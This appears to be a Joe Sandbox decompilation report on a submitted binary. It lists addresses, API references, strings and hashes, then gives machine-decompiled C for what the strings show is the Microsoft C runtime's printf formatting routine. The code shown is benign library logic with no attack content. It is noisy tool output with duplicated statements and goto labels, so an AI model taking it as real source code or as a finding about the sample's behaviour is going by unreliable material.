0x00000000
0x00435322
0x00000000
0x00435322
0x00000000
0x00435322
0x00000000
0x00435322
0x00000000
0x00435322
0x00000000
0x00435322
0x00435322
0x00435322
0x00435326
0x0043550d
0x00435511
0x00435519
0x0043551e
0x00435521
0x00435521
0x00435528
0x00435528
0x004345ff
0x00434605
0x00434612
0x00434617
0x00000000
0x0043462a
0x00434634
0x0043465b
0x00434642
0x00434653
0x00434653
0x00434634
0x00434665
0x0043466b
0x00434677
0x0043467a
0x00434688
0x0043468b
0x00434698
0x0043473d
0x00434743
0x00434750
0x00000000
0x00000000
0x00434756
0x0043475c
0x00000000
0x00434763
0x00434763
0x0043477b
0x00434780
0x00434785
0x0043483f
0x00434852
0x00434857
0x00000000
0x0043478b
0x0043479e
0x004347a3
0x004347a9
0x004347ab
0x004347b4
0x004347b7
0x004347c3
0x004347c7
0x004347cd
0x004347cf
0x004347d4
0x004347d6
0x004347db
0x004347e0
0x004347e2
0x004347e7
0x004347ed
0x004347ef
0x004347ef
0x004347ed
0x004347f0
0x004347f7
0x00000000
0x004347f9
0x004347fe
0x0043481a
0x00434822
0x0043482f
0x00434834
0x00000000
0x00434834
0x004347f7
0x00000000
0x0043485f
0x0043485f
0x00434866
0x00434869
0x0043486c
0x0043486f
0x00434872
0x00434875
0x00434878
0x0043487f
0x00434886
0x00000000
0x00000000
0x00434892
0x00434892
0x00434899
0x004348a5
0x004348a8
0x004348b5
0x00000000
0x00000000
0x004348b7
0x004348b7
0x004348bd
0x004348bd
0x004348c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434907
0x00434907
0x00434911
0x0043493b
0x0043493e
0x00434941
0x00434948
0x00434948
0x0043494c
0x00434913
0x00434913
0x0043491f
0x00434926
0x00434928
0x0043492b
0x0043492e
0x00434934
0x00434936
0x00434936
0x00434939
0x00000000
0x00000000
0x00434954
0x00434954
0x00000000
0x00000000
0x00434960
0x00434960
0x0043496a
0x0043498d
0x00434997
0x00434997
0x0043499b
0x0043496c
0x0043496c
0x00434978
0x0043497f
0x00434981
0x00434981
0x00434988
0x00000000
0x00000000
0x004349a3
0x004349a3
0x004349aa
0x004349b6
0x004349b9
0x004349c6
0x00434ad9
0x00000000
0x00434ad9
0x004349cc
0x004349cc
0x004349d2
0x004349d2
0x004349d9
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a18
0x00434a40
0x00434a40
0x00434a43
0x00434a49
0x00434a6e
0x00434a6e
0x00434a71
0x00434a77
0x00434ab0
0x00434ac1
0x00000000
0x00434ac1
0x00434a79
0x00434a79
0x00434a7c
0x00434a82
0x00000000
0x00000000
0x00434a84
0x00434a84
0x00434a87
0x00434a8d
0x00000000
0x00000000
0x00434a8f
0x00434a8f
0x00434a92
0x00434a98
0x00000000
0x00000000
0x00434a9a
0x00434a9a
0x00434a9d
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aa5
0x00434aa8
0x00434aae
0x00434ab2
0x00434ab2
0x00000000
0x00434ab2
0x00000000
0x00434aae
0x00434a4b
0x00434a4b
0x00434a4e
0x00434a55
0x00000000
0x00000000
0x00434a57
0x00434a5a
0x00434a5d
0x00434a60
0x00434a63
0x00434a69
0x00000000
0x00434a69
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a24
0x00000000
0x00000000
0x00434a26
0x00434a29
0x00434a2c
0x00434a2f
0x00434a32
0x00434a38
0x00000000
0x00000000
0x00434ac3
0x00434ac6
0x00434ac9
0x00000000
0x00000000
0x004349e0
0x004349e0
0x004349e3
0x004349e9
0x00434a01
0x00434a04
0x00434a07
0x004349eb
0x004349ee
0x004349f1
0x004349f7
0x004349fc
0x004349fc
0x00000000
0x00000000
0x00434ace
0x00434ad1
0x00434ad6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004348e1
0x004348e4
0x004348e7
0x00000000
0x00000000
0x004348ec
0x004348ef
0x004348f4
0x00000000
0x00000000
0x004348d6
0x004348d6
0x004348d9
0x004348dc
0x00000000
0x00000000
0x004348cb
0x004348ce
0x004348d1
0x00000000
0x00000000
0x004348f9
0x004348f9
0x004348fc
0x004348ff
0x00000000
0x00000000
0x00434902
0x00000000
0x00000000
0x0043469e
0x004346a0
0x004346ae
0x004346a2
0x004346a2
0x004346a2
0x004346b8
0x004346be
0x004346cb
0x004346cd
0x004346d2
0x004346d4
0x004346d9
0x004346de
0x004346e0
0x004346e5
0x004346eb
0x004346ed
0x004346ed
0x004346eb
0x004346ee
0x004346f5
0x00000000
0x004346f7
0x004346fc
0x00434718
0x00434720
0x0043472d
0x00434732
0x004355f1
0x004355fe
0x004355fe
0x004346f5
0x00434698
0x0043552d
0x00435534
0x0043554b
0x0043553f
0x0043553f
0x0043553f
0x00435555
0x0043555b
0x00435568
0x0043556a
0x0043556f
0x00435571
0x00435576
0x0043557b
0x0043557d
0x00435582
0x00435588
0x0043558a
0x0043558a
0x00435588
0x00435592
0x004355dd
0x004355e6
0x004355eb
0x00435594
0x00435599
0x004355b5
0x004355bd
0x004355ca
0x004355cf
0x004355cf
0x00000000
0x00435592
0x0043532c
0x00435332
0x0043533c
0x00435351
0x00435366
0x00435368
0x0043536c
0x0043536c
0x00435353
0x00435353
0x00435357
0x00435357
0x0043533e
0x0043533e
0x00435342
0x00435342
0x0043533c
0x0043537c
0x00435388
0x0043539e
0x004353a3
0x004353a3
0x004353b9
0x004353be
0x004353c7
0x004353e5
0x004353ea
0x004353ea
0x004353f1
0x004354c5
0x004354d8
0x004354dd
0x00000000
0x00435401
0x00435401
0x00435401
0x0043540e
0x00435417
0x0043541d
0x0043541d
0x0043542c
0x00435434
0x00000000
0x00000000
0x0043543a
0x00435443
0x00435462
0x00435467
0x0043546a
0x00435479
0x00435486
0x00435491
0x00435491
0x00000000
0x0043549d
0x0043549d
0x004354b6
0x004354bb
0x00000000
0x004354bb
0x00435486
0x004354c3
0x004354e0
0x004354e7
0x00435505
0x0043550a
0x0043550a
0x00000000
0x004354e7
0x00434ade
0x00434ade
0x00434ae5
0x00434aeb
0x00434af1
0x00434af4
0x00434afa
0x00434b0d
0x00434b0d
0x00434b14
0x00000000
0x00434e6e
0x00434e6e
0x00434e75
0x00434e7c
0x00434e7f
0x00000000
0x00000000
0x00434b1b
0x00434b1e
0x00434b24
0x00434b29
0x00434b2e
0x00434b2e
0x00000000
0x00000000
0x00434c5b
0x00434c5e
0x00434c63
0x00434c68
0x00434c6e
0x00434c6e
0x00000000
0x00000000
0x0043503b
0x0043503b
0x00000000
0x00000000
0x00434bc5
0x00434bc5
0x00434bd1
0x00434bde
0x00434bec
0x00434bec
0x00434bf2
0x00434bf5
0x00434c01
0x00434c56
0x00000000
0x00434c56
0x00434be0
0x00434be0
0x00434bea
0x00434c06
0x00434c09
0x00434c0f
0x00434c37
0x00434c3e
0x00434c44
0x00434c47
0x00434c4a
0x00434c50
0x00434c53
0x00434c11
0x00434c11
0x00434c17
0x00434c1a
0x00434c1d
0x00434c23
0x00434c26
0x00434c29
0x00434c2b
0x00434c2e
0x00434c2e
0x00000000
0x00434c0f
0x00000000
0x00000000
0x00434e85
0x00434e88
0x00434e8b
0x00434e8e
0x00434e94
0x00434e97
0x00434ea2
0x00434ead
0x00434eb1
0x00434ec8
0x00434ecf
0x00434ed1
0x00434ed1
0x00434ed8
0x00434edf
0x00434ef0
0x00434eff
0x00434f06
0x00434f1c
0x00434f08
0x00434f08
0x00434f0b
0x00434f11
0x00434f17
0x00434f17
0x00434f06
0x00434f26
0x00434f29
0x00434f2c
0x00434f2f
0x00434f32
0x00434f35
0x00434f3b
0x00434f41
0x00434f49
0x00434f4a
0x00434f4d
0x00434f4e
0x00434f51
0x00434f52
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f68
0x00434f69
0x00434f77
0x00434f79
0x00434f7f
0x00434f85
0x00434f8d
0x00434f95
0x00434f96
0x00434f99
0x00434f9a
0x00434fa8
0x00434faa
0x00434faa
0x00434fad
0x00434fb7
0x00434fbc
0x00434fc2
0x00434fc4
0x00434fcc
0x00434fcd
0x00434fd0
0x00434fd1
0x00434fe0
0x00434fe2
0x00434fe2
0x00434fc2
0x00434fe5
0x00434fe8
0x00434fee
0x00434ff3
0x00434ff9
0x00434fff
0x00435002
0x00435002
0x00435005
0x00435011
0x00000000
0x00435011
0x00434eb3
0x00434eb3
0x00434ebd
0x00000000
0x00000000
0x00434ebf
0x00434ebf
0x00000000
0x00434ebf
0x00434ea4
0x00434ea4
0x00000000
0x00000000
0x00434b31
0x00434b34
0x00434b3a
0x00434b95
0x00434b9d
0x00434ba4
0x00434baa
0x00434bb0
0x00434b3c
0x00434b3c
0x00434b46
0x00434b4a
0x00434b52
0x00434b59
0x00434b66
0x00434b6d
0x00434b79
0x00434b86
0x00434b88
0x00434b88
0x00434b8f
0x00434bb7
0x00434bbd
0x00000000
0x00000000
0x00000000
0x00000000
0x00434d77
0x00434d77
0x00434d83
0x00434d90
0x00434e3a
0x00434e3d
0x00434e40
0x00434e54
0x00434e5a
0x00434e60
0x00434e42
0x00434e42
0x00434e4f
0x00434e4f
0x00434e62
0x00000000
0x00434e62
0x00434d96
0x00434d96
0x00434d98
0x00434da6
0x00434d9a
0x00434d9a
0x00434d9a
0x00434db0
0x00434db6
0x00434dc3
0x00434dc5
0x00434dca
0x00434dcc
0x00434dd1
0x00434dd6
0x00434dd8
0x00434ddd
0x00434de3
0x00434de5
0x00434de5
0x00434de3
0x00434ded
0x00434e35
0x00000000
0x00434def
0x00434def
0x00434df4
0x00434e10
0x00434e18
0x00434e22
0x00434e25
0x00434e2a
0x00000000
0x00434e2a
0x00000000
0x0043507c
0x0043507c
0x00435086
0x0043508c
0x00435091
0x00435097
0x00435097
0x00000000
0x00000000
0x00435034
0x00435034
0x00000000
0x00000000
0x00434c71
0x00434c75
0x00434c83
0x00434c86
0x00434c77
0x00434c77
0x00434c77
0x00434c8c
0x00434c92
0x00434c98
0x00434ca4
0x00434caa
0x00434cb0
0x00434d17
0x00434d1b
0x00434d1d
0x00434d23
0x00434d23
0x00434d26
0x00434d29
0x00434d2f
0x00434d2f
0x00434d2f
0x00434d3b
0x00434d3e
0x00434d46
0x00000000
0x00000000
0x00434d48
0x00434d48
0x00434d4e
0x00434d53
0x00000000
0x00000000
0x00434d55
0x00434d5b
0x00434d5e
0x00434d5e
0x00434d66
0x00434d6c
0x00434d6f
0x00000000
0x00434cb2
0x00434cb2
0x00434cb6
0x00434cb8
0x00434cbd
0x00434cbd
0x00434cc0
0x00434cc7
0x00434cca
0x00434cd0
0x00434cd0
0x00434cd0
0x00434cdc
0x00434cdf
0x00434ce7
0x00000000
0x00000000
0x00434ce9
0x00434ce9
0x00434cef
0x00434cf4
0x00000000
0x00000000
0x00434cf6
0x00434cfc
0x00434cff
0x00434cff
0x00434d07
0x00434d0d
0x00434d10
0x00434d12
0x00434d72
0x00000000
0x00434d72
0x00000000
0x0043502b
0x0043502b
0x00000000
0x00000000
0x00435047
0x00435047
0x00435051
0x00435051
0x0043505b
0x00435061
0x00435063
0x0043506d
0x00435070
0x00435073
0x00435073
0x00000000
0x00000000
0x00000000
0x00000000
0x00434b14
0x00435322
0x00435322
0x00435322
0x00435322
0x00435322
0x00435322
0x00435322
0x0043517f
0x00435176
0x0043509a
0x0043509a
0x0043509a

APIs

_get_int64_arg.LIBCMTD ref: 004350A8
_get_int64_arg.LIBCMTD ref: 004350D0
__aullrem.LIBCMT ref: 00435275
__aulldiv.LIBCMT ref: 00435297
_write_multi_char.LIBCMTD ref: 0043539E
_write_string.LIBCMTD ref: 004353B9
_write_multi_char.LIBCMTD ref: 004353E5
_wctomb_s.LIBCMTD ref: 00435462

Strings

_output_s_l, xrefs: 0043470E
9, xrefs: 004352A8
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004346D9, 00434709
("Incorrect format specifier", 0), xrefs: 004346CD, 00434713
-, xrefs: 0043533E

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: 98f2fe3707f84ec47c1ce3e1b8abe1245f1b58acacccaf61aae08049296e0555
Instruction ID: 243ee118c27540350a4e422315234b5aeaf6417edd6308db87e01cd39ed91e34
Opcode Fuzzy Hash: 98f2fe3707f84ec47c1ce3e1b8abe1245f1b58acacccaf61aae08049296e0555
Instruction Fuzzy Hash: 45F138B1D016299BDF24CF58CC89BEEB7B1BB48304F1491DAE409A7241D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C42B, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C42B(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t621 = __edx;
					_t567 = __ebx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E004283F0(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E004283F0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E004283F0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E004283F0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00428410(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00428410(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E00430820(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E004308A0( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L0041C5D0( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043CA14))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E0043CB20( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0x43ca4c; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA34))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0x43ca74; // 0xc2819003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA60))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L0041E410();
